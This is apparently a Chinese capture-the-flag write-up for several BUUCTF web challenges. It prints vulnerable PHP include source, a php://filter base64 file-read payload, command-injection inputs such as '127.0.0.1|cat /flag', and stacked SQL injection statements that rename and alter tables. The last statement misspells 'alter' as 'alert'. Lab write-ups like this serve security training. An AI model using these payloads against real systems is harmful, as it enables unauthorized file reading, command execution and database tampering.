BUUCTF
[极客大挑战 2019]EasySQL
直接使用万能密码
[HCTF 2018]WarmUp
- 查看源码
- 访问source.php
- 根据代码提示,访问hint.php
根据提示,我们知道flag在ffffllllaaaagggg文件中。
- 源码审计
<?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } } if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "
"; } ?>
[极客大挑战 2019]Havefun
- 查看源码
- 构造url
[ACTF2020 新生赛]Include
- 点击tips
- 出现flag.php,猜测文件包含漏洞,此时要查看此文件,
重要的知识点——PHP封装协议:
php://filter/read=convert.base64-encode/resource=xxx.php php://filter
是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取;根据名字filter,可以很容易想到这个协议可以用来过滤一些东西;
使用不同的参数可以达到不同的目的和效果: resource=<要过滤的数据流> 指定了你要筛选过滤的数据流。 必选
read=<读链的筛选列表>可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选 write=<写链的筛选列表>
可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选 <;两个链的筛选列表> 任何没有以 read= 或write=作前缀
的筛选器列表会视情况应用于读或写链。
php://filter与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。
read=convert.base64-encode,用base64编码输出,不然会直接当做php代码执行,看不到源代码内容。
- php://filter协议,用base64编码的方式来读文件flag.php;这时页面会显示出源文件flag.php经过base64编码后的内容,然后经过base64解码就可以看到flag;
- payload:
/?file=php://filter/read=convert.base64-encode/resource=flag.php
- base64编码后的内容为:PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7MDJmMjA4YWItOTE1Zi00MDNjLWE3ZGYtZGRlMDkyNDU5MjAxfQo=
- 使用解码工具解码
[ACTF2020 新生赛]Exec
查看此文件的目录:127.0.0.1|ls
查看上级目录127.0.0.1|ls /
查看flag:127.0.0.1|cat /flag
[强网杯 2019]随便注
- 输入1
- 输入1’,报错说明存在sql字符型注入
- 使用order by判断列数为2
- 尝试使用union select,但是报错了
- 使用堆叠注入
Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的,
我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做
stacked injection。
- 查数据库
1';show databases;#
- 查表
1';show tables;#
查出两个表,1919810931114514 、words
- 查两个表中的列
1';show columns from words;#
注意:表名为数字时,要用反引号包起来查询。
1';show columns from `1919810931114514`;#
发现表中有flag字段,接下来我们需要思考的就是如何查到flag中的内容。
- 通过 rename 先把 words 表改名为其他的表名。
- 把 1919810931114514 表的名字改为 words 。
- 给新words 表添加新的列名 id 。
- 将 flag 改名为 data 。
1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#
来源地址:https://blog.csdn.net/weixin_52385170/article/details/127289456